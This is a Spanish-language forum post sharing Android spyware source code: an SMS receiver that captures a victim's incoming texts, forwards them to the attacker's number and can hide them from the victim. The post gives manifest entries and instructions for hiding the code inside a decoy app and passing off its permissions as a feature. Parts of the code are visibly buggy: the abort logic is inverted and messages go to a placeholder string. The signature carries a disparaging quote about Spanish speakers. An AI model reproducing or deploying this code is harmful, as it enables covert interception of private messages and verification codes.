Interceptador de SMS

Iniciado por TickTack, 19 Agosto 2019, 11:28 AM

0 Miembros y 1 Visitante están viendo este tema.

TickTack

Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que la sección de Java a veces es aburrida como Clay Davis.

Lo que esto hace:

  • Intercepta mensajes SMS.
  • Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
  • Redirige los mensajes interceptados a un número de tu elección.
  • Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.

Cosas a tener en cuenta:

  • Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
  • No tengo idea de lo que sucede en caso de un mensaje MMS.
  • Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
  • Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto,  eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.

Ahora bien, aquí está el código fuente.
SmsReceiver.java

//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

   // CONFIGURATION //

   // Esto cancelará la transmisión del SMS recibido.
   // Si esto es true, la víctima NO recibirá el mensaje que se le envía.    
   boolean abortarTM = true;

   // Si se debe interceptar o no TODOS los mensajes.    
   boolean interceptarTodos = false;

   // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
   String[] numeros = {"5551234567","5551234655"};

   // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
   String redireccionarCelular = "1235558765";

   // En emisión recibida. Mensaje SMS entrante.
   public void onReceive(Context context, Intent intento) {

 Bundle extras = intento.getExtras();
 String mensajes = "";

 // Se utiliza para determinar si un mensaje debe ser redirigido o no.
 boolean esDeEspia = false;

 if ( extras != null ) {
   Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
   for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

       // Recibe el mensaje de las UDP
   SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

   // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
   if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
 // Si el mensaje se disecciona en múltiples, concatenar.
   mensajes+=sms.getMessageBody()+"\n";

   // Este mensaje es de la víctima, redirigir.
   esDeEspia=true;

   //Abortar SMS.
   if(!abortarTM){
       abortBroadcast();
   }

   }
   }

   // Redirigir mensaje si es de la víctima
   if(esDeEspia){
       enviarSms(mensajes,"TUNUMERO");
   }

 }
   }

   // Enviar SMS ... bastante sencillo
   public  void enviarSms(String mensaje, String numcelular){
 SmsManager gs = SmsManager.getDefault();
 try{
 gs.sendTextMessage(numcelular, null, mensaje, null, null);
 }catch(Exception ex){
     // Error, este mensaje se perderá ... Les sugiero que creen
     // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
 }
   }
}


Declaraciones para agregar a sus AndroidManifest.xml
Permisos:

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />


Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
<receiver android:name=".SmsReceiver" android:enabled="true">
   <intent-filter android:priority="1000">
   <action android:name="android.provider.Telephony.SMS_RECEIVED" />
   </intent-filter>
   </receiver>

Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander

Saludos


PD.: Posteen códigos
Citar
"Ninguna mentira puede inventarse lo suficientemente patán: el pueblo hispanohablante la cree. Por una consigna que se les dio, persiguieron a sus compatriotas con mayor encarnizamiento que a sus verdaderos enemigos."